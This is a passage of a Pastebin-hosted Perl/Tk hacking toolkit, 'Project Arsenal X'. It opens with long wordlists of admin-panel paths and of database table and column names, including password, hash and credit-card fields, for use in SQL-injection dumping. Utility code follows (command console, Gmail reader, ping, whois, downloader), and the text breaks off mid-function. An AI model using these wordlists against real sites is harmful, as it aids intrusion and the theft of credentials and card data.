Doddy

Project Arsenal X (Codigo NO identado)

Jul 15th, 2012
588
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 76.25 KB | None | 0 0
  1. #!usr/bin/perl
  2. #Project Arsenal X
  3. #Version 0.1
  4. #Coded By Doddy H
  5.  
  6. #The arrays are a collection of various tools I found on the web.
  7.  
  8. my @paneles=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/');
  9.  
  10. my @buscar1 =('usuario','web_users','name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','admin','tblUsers','tblAdmin','user','users','username','usernames','web_usuarios','miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores','administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user','user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name','member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre','user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth','e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head','tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente','sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos','tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','curso','membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead','associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users','tuser','tusers','utilisateurs','amministratore','god','God','authors','wp_users','tb_usuarios','asociado','asociados','autores','autor','Users','Admin','Members','tb_usuario','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','USR_NAME','about','access','admin_id','admin_name','admin_pass','admin_passwd','admin_password','admin_pwd','admin_user','admin_userid','admin_username','adminemail','adminid','administrator_name','adminlogin','adminmail','adminname','adminuser','adminuserid','adminusername','aid','aim','apwd','auid','authenticate','authentication','blog','cc_expires','cc_number','cc_owner','cc_type','cfg','cid','clientname','clientpassword','clientusername','conf','contact','converge_pass_hash','converge_pass_salt','crack','customers_email_address','customers_password','cvvnumber]','data','db_database_name','db_hostname','db_password','db_username','download','e_mail','emer','emni','emniplote','emri','fjalekalimi','fjalekalimin','full','gid','group','group_name','hash','hashsalt','homepage','icq','icq_number','id','id_group','id_member','images','ime','index','ip_address','kodi','korisnici','korisnik','kpro_user','last_ip','last_login','lastname','llogaria','login_admin','login_name','login_pass','login_passwd','login_password','login_pw','login_pwd','login_user','login_username','logini','loginkey','loginout','logo','logohu','lozinka','md5hash','mem_login','mem_pass','mem_passwd','mem_password','mem_pwd','member_id','member_login_key','member_name','memberid','memlogin','mempassword','my_email','my_name','my_password','my_username','myname','mypassword','myusername','nc','new','news','number','nummer','p_assword','p_word','pass_hash','pass_w','pass_word','pass1word','passw','passwordsalt','passwort','passwrd','perdorimi','perdoruesi','personal_key','phone','privacy','psw','punetoret','punonjes','pword','pwrd','salt','search','secretanswer','secretquestion','serial','session_member_id','session_member_login_key','sesskey','setting','sid','sifra','spacer','status','store','store1','store2','store3','store4','table_prefix','temp_pass','temp_password','temppass','temppasword','text','uid','uname','user_admin','user_icq','user_id','user_ip','user_level','user_login','user_n','user_pass','user_passw','user_passwd','user_pw','user_pwd','user_pword','user_pwrd','user_un','user_uname','user_username','user_usernm','user_usernun','user_usrnm','user1','useradmin','userid','userip','userlogin','usern','usernm','userpass','userpassword','userpw','userpwd','usr_n','usr_name','usr_pass','usr2','usrn','usrnam','usrname','usrnm','usrpass','warez','xar_name','xar_pass','nom dutilisateur','mot de passe','compte','comptes','aide','objectif','authentifier','authentification','Contact','fissure','client','clients','de donn?es','mot_de_passe_bdd','t?l?charger','E-mail','adresse e-mail','Emer','complet','groupe','hachage','Page daccueil','Kodi','nom','connexion','membre','MEMBERNAME','mon_mot_de_passe','monmotdepasse','ignatiusj','caroline-du-nord','nouveau','Nick','passer','Passw','Mot de passe','t?l?phone','protection de la vie priv?e','PSW','pWord','sel','recherche','de s?rie','param?tre','?tat','stocker','texte','cvvnumber');
  11. my @buscar2 = ('name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente','usrnm','user_usrnm','usr','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha','username','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario','login_id','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username','sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave','membername','nme','unme','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password','userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors','user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','tbladmins','sort','_wfspro_admin','4images_users','a_admin','account','accounts','adm','admin','admin_login','admin_userinfo','administer','administrable','administrate','administration','administrator','administrators','adminrights','admins','adminuser','art','article_admin','articles','artikel','ÃÜÂë','aut','autore','backend','backend_users','backenduser','bbs','book','chat_config','chat_messages','chat_users','client','clients','clubconfig','company','config','contact','contacts','content','control','cpg_config','cpg132_users','customer','customers','customers_basket','dbadmins','dealer','dealers','diary','download','Dragon_users','e107.e107_user','e107_user','forum.ibf_members','fusion_user_groups','fusion_users','group','groups','ibf_admin_sessions','ibf_conf_settings','ibf_members','ibf_members_converge','ibf_sessions','icq','images','index','info','ipb.ibf_members','ipb_sessions','joomla_users','jos_blastchatc_users','jos_comprofiler_members','jos_contact_details','jos_joomblog_users','jos_messages_cfg','jos_moschat_users','jos_users','knews_lostpass','korisnici','kpro_adminlogs','kpro_user','links','login_admin','login_admins','login_user','login_users','logins','logs','lost_pass','lost_passwords','lostpass','lostpasswords','m_admin','main','mambo_session','mambo_users','manage','manager','mb_users','member','memberlist','members','minibbtable_users','mitglieder','movie','movies','mybb_users','mysql','mysql.user','names','news','news_lostpass','newsletter','nuke_authors','nuke_bbconfig','nuke_config','nuke_popsettings','nuke_users','Óû§','obb_profiles','order','orders','parol','partner','partners','passes','passwords','perdorues','perdoruesit','phorum_session','phorum_user','phorum_users','phpads_clients','phpads_config','phpbb_users','phpBB2.forum_users','phpBB2.phpbb_users','phpmyadmin.pma_table_info','pma_table_info','poll_user','punbb_users','pwds','reg_user','reg_users','registered','reguser','regusers','session','sessions','settings','shop.cards','shop.orders','site_login','site_logins','sitelogin','sitelogins','sites','smallnuke_members','smf_members','SS_orders','statistics','superuser','sysadmins','system','sysuser','sysusers','table','tables','tb_admin','tb_administrator','tb_login','tb_member','tb_members','tb_user','tb_username','tb_usernames','tb_users','tbl','tbl_user','tbl_users','tbluser','tbl_clients','tbl_client','tblclients','tblclient','test','usebb_members','user_admin','user_info','user_list','user_logins','user_names','usercontrol','userinfo','userlist','userlogins','usernames','userrights','users','vb_user','vbulletin_session','vbulletin_user','voodoo_members','webadmin','webadmins','webmaster','webmasters','webuser','webusers','x_admin','xar_roles','xoops_bannerclient','xoops_users','yabb_settings','yabbse_settings','ACT_INFO','ActiveDataFeed','Category','CategoryGroup','ChicksPass','ClickTrack','Country','CountryCodes1','CustomNav','DataFeedPerformance1','DataFeedPerformance2','DataFeedPerformance2_incoming','DataFeedShowtag1','DataFeedShowtag2','DataFeedShowtag2_incoming','dtproperties','Event','Event_backup','Event_Category','EventRedirect','Events_new','Genre','JamPass','MyTicketek','MyTicketekArchive','News','PerfPassword','PerfPasswordAllSelected','Promotion','ProxyDataFeedPerformance','ProxyDataFeedShowtag','ProxyPriceInfo','Region','SearchOptions','Series','Sheldonshows','StateList','States','SubCategory','Subjects','Survey','SurveyAnswer','SurveyAnswerOpen','SurveyQuestion','SurveyRespondent','sysconstraints','syssegments','tblRestrictedPasswords','tblRestrictedShows','TimeDiff','Titles','ToPacmail1','ToPacmail2','UserPreferences','uvw_Category','uvw_Pref','uvw_Preferences','Venue','venues','VenuesNew','X_3945','tblArtistCategory','tblArtists','tblConfigs','tblLayouts','tblLogBookAuthor','tblLogBookEntry','tblLogBookImages','tblLogBookImport','tblLogBookUser','tblMails','tblNewCategory','tblNews','tblOrders','tblStoneCategory','tblStones','tblUser','tblWishList','VIEW1','viewLogBookEntry','viewStoneArtist','vwListAllAvailable','CC_info','CC_username','cms_user','cms_users','cms_admin','cms_admins','jos_user','table_user','bulletin','cc_info','login_name','admuserinfo','userlistuser_list','SiteLogin','Site_Login','UserAdmin','Admins','Login','Logins');
  12.  
  13. use Cwd;
  14. use Tk;
  15. use Tk::Dialog;
  16. use Tk::HList;
  17. use Tk::ROText;
  18. use Tk::ListBox;
  19. use Tk::FileSelect;
  20. use Win32::Job;
  21. use IO::Socket;
  22. use Net::Ping;
  23. use GMail::Checker;
  24. use HTML::Strip;
  25. use LWP::UserAgent;
  26. use URI::Split qw(uri_split);
  27. use Net::FTP;
  28. use Net::POP3;
  29. use Net::Telnet;
  30. use DBI;
  31. use Mail::POP3Client;
  32. use IO::Socket::SSL;
  33.  
  34. my $nave = LWP::UserAgent->new;
  35. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  36. $nave->timeout(5);
  37.  
  38. my $color_fondo = "black";
  39. my $color_texto = "green";
  40.  
  41. if ( $^O eq 'MSWin32' ) {
  42. use Win32::Console;
  43. Win32::Console::Free();
  44. }
  45.  
  46. my $mejor = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  47. $mejor->title("Project Arsenal X || (C) Doddy Hackman 2012");
  48. $mejor->geometry("731x570+20+20");
  49. $mejor->resizable(0,0);
  50.  
  51. $mejor->Button(-text=>"Inbox",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_inbox)->place(-x=>20,-y=>20);
  52. $mejor->Button(-text=>"Ping",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_ping)->place(-x=>120,-y=>20);
  53. $mejor->Button(-text=>"Whois",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_whois)->place(-x=>20,-y=>50);
  54. $mejor->Button(-text=>"Downloader",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_downloader)->place(-x=>120,-y=>50);
  55. $mejor->Button(-text=>"PortScan",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_port)->place(-x=>420,-y=>50);
  56. $mejor->Button(-text=>"GetIP",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_getip)->place(-x=>220,-y=>20);
  57. $mejor->Button(-text=>"LocateIP",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_locate)->place(-x=>220,-y=>50);
  58. $mejor->Button(-text=>"K0bra",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_kobra)->place(-x=>320,-y=>20);
  59. $mejor->Button(-text=>"GetPass",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_getpass)->place(-x=>320,-y=>50);
  60. $mejor->Button(-text=>"PanelControl",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_panel)->place(-x=>420,-y=>20);
  61. $mejor->Button(-text=>"Cracker",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_cracker)->place(-x=>520,-y=>20);
  62. $mejor->Button(-text=>"About",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_about)->place(-x=>620,-y=>20);
  63. $mejor->Button(-text=>"Exit",-width=>14,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,-command=>\&menu_exit)->place(-x=>620,-y=>50);
  64.  
  65. my $body = $mejor->Text(-width=>98,-height=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>19,-y=>100);
  66.  
  67. $body->insert("end","- Arsenal X - Command Console\n");
  68. $body->insert("end","Running program version 0.1\n");
  69. $body->insert("end","-----------------------------\n");
  70. $body->insert("end","\nWelcome to the hell ........\n\n");
  71. $body->insert("end","<root[.]>");
  72.      
  73. $mejor->bind($body,"<Key-Return>"=> sub {
  74.        
  75. $text = $body->get( "1.0", "end" );
  76. chomp $text;
  77.  
  78. $text=~ / .* <root\[.\]> \s* (.+?) \s+ $ /msx;
  79. my @cmdnow = cmd($1);
  80. $body->insert("end","\n@cmdnow\n");
  81. $body->insert("end","\n<root[.]>");
  82. });
  83.  
  84. my $ip = get_ip();
  85.  
  86. $mejor->Label(-text=>"Your IP is $ip",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>540);
  87. $mejor->Label(-text=>"(C) Doddy Hackman 2012",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>550,-y=>540);
  88.  
  89. MainLoop;
  90.  
  91. sub get_ip {
  92. my $get = gethostbyname("");
  93. return inet_ntoa($get);
  94. }
  95.  
  96. sub cmd {
  97.  
  98. my $job = Win32::Job->new;
  99. $job->spawn("cmd",qq{cmd /C $_[0]},{
  100. no_window => "true",
  101. stdout => "logx.txt",
  102. stderr => "logx.txt"
  103. }
  104. );
  105. $ok = $job->run("30");
  106.  
  107. open (F,"logx.txt");
  108. @words = <F>;
  109. close F;
  110.  
  111. unlink("logx.txt");
  112.  
  113. return @words;
  114.  
  115. }
  116.  
  117. ###Funciones principales
  118.  
  119. sub menu_inbox { #Start
  120.  
  121. my $yeahfucktk = MainWindow->new();
  122. $yeahfucktk->title("Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  123. $yeahfucktk->geometry("870x220+20+20");
  124. $yeahfucktk->resizable(0,0);
  125.  
  126. my $agen = $yeahfucktk->Scrolled(HList,-columns => 4,-header => 1,-width=>80,-scrollbars=>"se")->place(-x=>20,-y=>20);
  127.  
  128. $agen->headerCreate(0, -text => "ID");
  129. $agen->headerCreate(1, -text => "From");
  130. $agen->headerCreate(2, -text => "Subject");
  131. $agen->headerCreate(3, -text => "Date");
  132.  
  133. $agen->bind("<Double-1>",[\&yeah]);
  134.  
  135. $yeahfucktk->Label(-text=>"Gmail Login",-font=>"Impact")->place(-x=>650,-y=>20);
  136. $yeahfucktk->Label(-text=>"Username : ",-font=>"Impact1")->place(-x=>565,-y=>68);
  137. my $username = $yeahfucktk->Entry(-width=>30)->place(-x=>653,-y=>73);
  138. $yeahfucktk->Label(-text=>"Password : ",-font=>"Impact1")->place(-x=>565,-y=>100);
  139. my $password = $yeahfucktk->Entry(-width=>30,-show=>"*")->place(-x=>653,-y=>103);
  140. $yeahfucktk->Button(-text=>"Messages list",-width=>20,-command=>\&startnow)->place(-x=>640,-y=>150);
  141.  
  142. MainLoop;
  143.  
  144. sub startnow {
  145. $agen->delete("all",0);
  146. my $total = total($username->get,$password->get);
  147. $yeahfucktk->title("Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : $total messages found");
  148.  
  149. for(reverse 1..$total) {
  150. $yeahfucktk->update;
  151. $yeahfucktk->title("Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : Getting message $_");
  152. my($from,$asunto,$date) = getdata($username->get,$password->get,$_);
  153.  
  154. $agen->add($_);
  155. $agen->itemCreate($_, 0, -text => $_);
  156. $agen->itemCreate($_, 1, -text => $from);
  157. $agen->itemCreate($_, 2, -text => $asunto);
  158. $agen->itemCreate($_, 3, -text => $date);
  159.  
  160. }
  161. $yeahfucktk->title("Gmail Inbox 0.1 || Coded by Doddy H || [+] Status : <None>");
  162. }
  163.  
  164. sub total {
  165. my $mod_total = new GMail::Checker(USERNAME =>$_[0],PASSWORD =>$_[1]);
  166. my ($a,$b) = $mod_total->get_msg_nb_size("TOTAL_MSG");
  167. return $a;
  168. }
  169.  
  170. sub getdata {
  171.  
  172. my $mod_msg = new GMail::Checker(USERNAME =>$_[0],PASSWORD =>$_[1]);
  173. my @msg = $mod_msg->get_msg(MSG =>$_[2]);
  174.  
  175. my $mas = $msg[0]->{headers};
  176.  
  177. if($mas=~/From: (.*)/ig) {
  178. $from = $1;
  179. }
  180.  
  181. if($mas=~/Subject: (.*)/ig) {
  182. $asunto = $1;
  183. }
  184.  
  185. if($mas=~/Date: (.*)/ig) {
  186. $date = $1;
  187. }
  188. return($from,$asunto,$date);
  189. }
  190.  
  191. sub yeah {
  192. my @ar = $agen->selectionGet();
  193. openmessage($username->get,$password->get,$ar[0]);
  194. }
  195.  
  196. sub openmessage {
  197.  
  198. my $cons = MainWindow->new();
  199. $cons->geometry("500x350+20+20");
  200. $cons->resizable(0,0);
  201. $cons->title("Reading message");
  202.  
  203. my $conso = $cons->Scrolled("ROText",-width=>70,-height=>40,-scrollbars=>"e")->pack();
  204.  
  205. my $mod_msg = new GMail::Checker(USERNAME =>$_[0],PASSWORD =>$_[1]);
  206.  
  207. my @msg = $mod_msg->get_msg(MSG =>$_[2]);
  208.  
  209. $conso->insert("end","[+] ID : $_[2]\n");
  210.  
  211. my $mas = $msg[0]->{headers};
  212.  
  213. if($mas=~/From: (.*)/ig) {
  214. my $from = $1;
  215. $conso->insert("end","[+] From : $from\n");
  216. }
  217.  
  218. if($mas=~/To: (.*)/ig) {
  219. my $to = $1;
  220. $conso->insert("end","[+] To : $to\n");
  221. }
  222.  
  223. if($mas=~/Subject: (.*)/ig) {
  224. my $asunto = $1;
  225. $conso->insert("end","[+] Subject : $asunto\n");
  226. }
  227.  
  228. if($mas=~/Date: (.*)/ig) {
  229. my $date = $1;
  230. $conso->insert("end","[+] Date : $date\n\n");
  231. }
  232.  
  233. my $text = $msg[0]->{body};
  234. if($text=~/<body class=3D'hmmessage'><div dir=3D'ltr'>(.*?)<\/div><\/body>/sig) {
  235. my $body = $1;
  236. $body=~s/<br>/\n/g;
  237.  
  238. my $uno = HTML::Strip->new(emit_spaces =>1);
  239. my $body = $uno->parse($body);
  240. $conso->insert("end",$body);
  241. }}
  242.  
  243. } #End
  244.  
  245. sub menu_ping { #Start
  246.  
  247. my $sax = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  248. $sax->title("Ping It 0.1 || Coded By Doddy H");
  249. $sax->geometry("350x130+20+20");
  250. $sax->resizable(0,0);
  251.  
  252. $sax->Label(-text=>"Host : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>20,-x=>20);
  253. my $host = $sax->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>25,-x=>70);
  254. $sax->Button(-text=>"Ping It",-width=>10,-command=>\&pingita,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-y=>23,-x=>260);
  255.  
  256. my $stat = $sax->Label(-text=>"Status : <None>",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>80,-x=>110);
  257.  
  258. MainLoop;
  259.  
  260. sub pingita {
  261.  
  262. $clas = Net::Ping->new("icmp");
  263. if ($clas->ping($host->get)) {
  264. $stat->configure(-text=>"The host is alive");
  265. } else {
  266. $stat->configure(-text=>"The host is offline");
  267. }}
  268.  
  269. } #End
  270.  
  271. sub menu_whois { #Start
  272.  
  273. my $newas = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  274. $newas->geometry("400x300+50+50");
  275. $newas->title("Whois Online 0.1 || Coded By Doddy H");
  276. $newas->resizable(0,0);
  277.  
  278. $newas->Label(-text=>"Domain : ",-font=>"Impact2",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>"10",-y=>"10");
  279. my $dom = $newas->Entry(-width=>"30",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>"85",-y=>"13");
  280.  
  281. my $console = $newas->Scrolled("ROText",-scrollbars => "e",-width=>36,-height=>15,-background=>$color_fondo,-foreground=>$color_texto)->place(-x => 15, -y => 50);
  282.  
  283. $newas->Button(-text=>"Search",-command=>\&buscar,-width=>"10",-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-x=>310,-y=>"50");
  284. $newas->Button(-text=>"Clean",-command=>\&limpiar,-width=>"10",-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-x=>310,-y=>"80");
  285. $newas->Button(-text=>"Exit",-command=>\&salir,-width=>"10",-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-x=>310,-y=>"110");
  286.  
  287. MainLoop;
  288.  
  289. sub buscar {
  290. $console->delete("0.1","end");
  291. my $target = $dom->get;
  292. $newas->update;
  293. $console->insert("end",whois($target));
  294. $newas->update;
  295. }
  296.  
  297. sub limpiar {
  298. $console->delete("0.1","end");
  299. $dom->delete("0.1","end");
  300. }
  301.  
  302. sub salir {
  303. $newas->destroy();
  304. }
  305.  
  306. sub whois {
  307.  
  308. my $ob = shift;
  309. my $code = tomar("http://networking.ringofsaturn.com/Tools/whois.php",{"domain"=>$ob,"submit"=>"submit"});
  310.  
  311. my @chau = ("&quot;","&gt;&gt;&gt;","&lt;&lt;&lt;");
  312.  
  313. if($code=~/<pre>(.*?)<\/pre>/sig) {
  314. my $resul = $1;
  315. chomp $resul;
  316.  
  317. for my $cha(@chau) {
  318. $resul=~s/$cha//ig;
  319. }
  320.  
  321. if($resul=~/Whois Server Version/) {
  322. return $resul;
  323. } else {
  324. return "Not Found";
  325. }}}
  326.  
  327. } #End
  328.  
  329. sub menu_downloader { #Start
  330.  
  331. my $dron = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  332. $dron->geometry("430x70+20+20");
  333. $dron->resizable(0,0);
  334. $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  335.  
  336. $dron->Label(-text=>"URL : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>20,-y=>20);
  337. my $pre = $dron->Entry(-width=>45,-background=>$color_fondo,-foreground=>$color_texto)->place(-x=>60,-y=>27);
  338. $dron->Button(-command=>\&now,-text=>"Download",-width=>10,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-x=>340,-y=>25);
  339.  
  340. MainLoop;
  341.  
  342. sub now {
  343.  
  344. my ($scheme, $auth, $path, $query, $frag)  = uri_split($pre->get);
  345. $dron->title("Simple Downloader 0.1 || [+] Status : Downloading..");
  346. if ($path=~/(.*)\/(.*)$/) {
  347. my $file = $2;
  348. if(download($pre->get,$file)) {
  349. $dron->Dialog(-title=> "OK",-buttons=> ["OK"],-text=> "File downloaded",-background=> $color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  350. } else {
  351. $dron->Dialog(-title=> "Error",-buttons=> ["OK"],-text=> "Error",-background=> $color_fondo,-foreground=> $color_texto,-activebackground=>$color_texto)->Show();
  352. }}
  353. $dron->title("Simple Downloader 0.1 || [+] Status : <None>");
  354. }
  355.  
  356. sub download {
  357. if ($nave->mirror($_[0],$_[1])) {
  358. if (-f $_[1]) {
  359. return true;
  360. }}}
  361.  
  362. } #End
  363.  
  364. sub menu_getip { #Start
  365.  
  366. my $ua = MainWindow->new(-background=>$color_fondo,-foreground=>$color_texto);
  367. $ua->title("Get IP || Coded By Doddy H");
  368. $ua->geometry("350x110+20+20");
  369. $ua->resizable(0,0);
  370.  
  371. $ua->Label(-text=>"Host : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>20,-x=>20);
  372. my $host = $ua->Entry(-width=>30,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>25,-x=>70);
  373. $ua->Button(-text=>"Get IP",-width=>10,-command=>\&quien,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto)->place(-y=>23,-x=>260);
  374.  
  375. $ua->Label(-text=>"IP : ",-font=>"Impact",-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>60,-x=>20);
  376. my $ip = $ua->Entry(-width=>33,-background=>$color_fondo,-foreground=>$color_texto)->place(-y=>65,-x=>52);
  377.  
  378. MainLoop;
  379.  
  380. sub quien {
  381. $ip->configure(-text=>get_ip($host->get));
  382. }
  383.  
  384. sub get_ip {
  385. my $get = gethostbyname($_[0]);
  386. return inet_ntoa($get);
  387. }
  388.  
  389. } #End
  390.  
  391. sub menu_locate { #Start
  392.  
  393. $p = MainWindow->new(
  394. -background => $color_fondo,
  395. -foreground => $color_texto
  396. );
  397. $p->title("Locate IP 0.4 || Coded By Doddy H");
  398. $p->geometry("440x300+20+20");
  399. $p->resizable( 0, 0 );
  400.  
  401. $p->Label(
  402. -text       => "Target : ",
  403. -font       => "Impact",
  404. -background => $color_fondo,
  405. -foreground => $color_texto
  406. )->place( -x => 20, -y => 20 );
  407. my $tar = $p->Entry(
  408. -width      => 30,
  409. -background => $color_fondo,
  410. -foreground => $color_texto
  411. )->place( -y => 24, -x => 80 );
  412. $p->Button(
  413. -text             => "Find",
  414. -width            => 10,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,
  415. -command          => \&st
  416. )->place( -y => 23, -x => 272 );
  417. $p->Button(
  418. -text       => "Logs",
  419. -width      => 10,-background=>$color_texto,-foreground=>$color_fondo,-activebackground=>$color_texto,
  420. -command          => \&openlogsa
  421. )->place( -y => 23, -x => 350 );
  422.  
  423. $p->Label(
  424. -text       => "Information",
  425. -font       => "Impact",
  426. -background => $color_fondo,
  427. -foreground => $color_texto
  428. )->place( -x => 80, -y => 80 );
  429.  
  430. $p->Label(
  431. -text       => "City : ",
